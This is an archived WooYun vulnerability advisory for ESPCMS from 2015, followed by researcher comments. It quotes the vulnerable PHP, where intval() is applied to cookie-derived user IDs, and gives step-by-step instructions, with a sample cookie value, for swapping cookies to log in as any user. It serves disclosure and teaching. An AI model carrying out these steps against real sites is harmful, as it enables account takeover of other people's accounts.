当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(40) 关注此漏洞

缺陷编号： WooYun-2015-90324

漏洞标题： ESPCMS所有版本任意用户登陆

相关厂商： 易思ESPCMS企业网站管理系统

漏洞作者： 夕风号

提交时间： 2015-01-06 18:21

公开时间： 2015-04-06 18:22

漏洞类型： 设计缺陷/逻辑错误

危害等级： 高

自评Rank： 10

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

12人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-06： 细节已通知厂商并且等待厂商处理中
2015-01-07： 厂商已经确认，细节仅向厂商公开
2015-01-10： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-03-03： 细节向核心白帽子及相关领域专家公开
2015-03-13： 细节向普通白帽子公开
2015-03-23： 细节向实习白帽子公开
2015-04-06： 细节向公众公开

简要描述：

ESPCMS所有版本任意用户登陆

详细说明：

/interface/memebermain.php

code 区域
$rsMember['userid'] = $this->ec_member_username_id;


$rsMember['rankname'] = $this->get_member_purview($rsMember['mcid'], 'rankname');


$userid = intval($rsMember['userid']);



跟进ec_member_username_id

/public/class_connector.php

code 区域
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));     //取自$_COOKIE['ecisp_member_info']


                list($ec_member_username_id, $this->ec_member_alias, $ec_member_integral, $ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;


                $this->ec_member_username_id = intval($ec_member_username_id);



综上所述，$userid值完全可控，以http://**.**.**.**为例，利用过程如下：

1.



注册，



http://**.**.**.**/index.php?ac=member&at=reg



假设我们要登陆$userid=3的用户，则用户名为3test

1.PNG





2.



登陆后，查看cookie，得到



code 区域
ecisp_member_username=C50S%2BB7auih2gDPIqEsfCZAX5nybIUZ%2FgbPTQp%2F6gm0%3D





3.

将cookie中的ecisp_member_info值更改为上述ecisp_member_username值，得，



code 区域
ecisp_member_info=C50S%2BB7auih2gDPIqEsfCZAX5nybIUZ%2FgbPTQp%2F6gm0%3D





此时，经过解密处理，可得

$userid=$this->ec_member_username_id=intval('3test')=3



4.



再次刷新，http://**.**.**.**/index.php?ac=membermain&at=center



2.PNG

漏洞证明：

略

修复方案：

改用session

版权声明：转载请注明来源 夕风号@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-01-07 11:43

厂商回复：

感谢您的提交，我们会尽快修复！

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-06 18:31 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    不用看我就知道了。

    1# 回复此人
  2. 2015-01-06 18:47 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    2

    @roker 666

    2# 回复此人
  3. 2015-01-06 18:52 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    @′雨。 777

    3# 回复此人
  4. 2015-01-06 20:46 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)
    2

    目测会火。

    4# 回复此人
  5. 2015-01-07 14:11 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    2

    怎么没在通用那里？

    5# 回复此人
  6. 2015-01-10 21:43 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了，跪着也要...)
    1

    啥情况

    6# 回复此人
  7. 2015-01-12 12:49 | neal ( 普通白帽子 | Rank:219 漏洞数:23 )
    1

    提交这个 一般都是 匿名 因为大家都知道 他的算法有问题 一直没改

    7# 回复此人
  8. 2015-01-27 12:40 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @roker 这个不错哦。:)

    8# 回复此人
  9. 2015-01-27 12:55 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @′雨。 啪啪啪

    9# 回复此人
  10. 2015-04-06 18:45 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @neal 这个其实很吊，并不是算法问题。不知道谁交的。

    10# 回复此人
  11. 2015-04-08 16:38 | 胡小树 ( 实习白帽子 | Rank:66 漏洞数:13 | 我是一颗小小树)
    0

    @phith0n 算是逻辑漏洞吗，intval函数必须得小心使用啊

    11# 回复此人
  12. 2015-06-08 13:21 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    真的吊

    12# 回复此人
  13. 2015-07-18 18:44 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    又是intval的坑

    13# 回复此人
  14. 2015-12-29 10:27 | APTs之会飞的猪 ( 路人 | Rank:8 漏洞数:6 | 如果不是乔布斯最初允许微软使用自己的图形...)
    0

    呵呵，又一个算法可信问题，COOKIE没加salt?

    14# 回复此人

登录后才能发表评论，请先 登录 。